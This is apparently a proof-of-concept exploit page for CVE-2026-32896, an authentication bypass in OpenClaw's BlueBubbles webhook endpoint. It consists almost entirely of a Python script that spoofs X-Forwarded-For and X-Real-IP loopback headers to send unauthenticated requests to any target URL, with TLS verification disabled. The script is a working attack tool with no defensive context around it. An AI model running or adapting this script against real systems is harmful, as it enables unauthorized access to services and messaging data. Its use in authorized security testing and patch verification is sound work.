CVE-2026-32896 OpenClaw认证绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32896: OpenClaw Unauthenticated Webhook Access import requests import sys def exploit(target_url): """ Attempts to send an unauthenticated webhook event by simulating a loopback/proxy request to bypass the passwordless fallback check. """ # The endpoint typically used for BlueBubbles webhooks endpoint = f"{target_url}/api/webhooks/bluebubbles" # Headers that might trigger the loopback/proxy heuristics # Commonly involves spoofing X-Forwarded-For or similar headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1", # Attempting to look like a loopback request "X-Real-IP": "127.0.0.1" } # Malicious payload to be processed by the webhook payload = { "event": "message", "data": "Arbitrary data to test unauthenticated processing" } try: print(f"[*] Sending unauthenticated request to {endpoint}...") response = requests.post(endpoint, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request accepted! Authentication bypass likely successful.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <http://target_url>") sys.exit(1) exploit(sys.argv[1])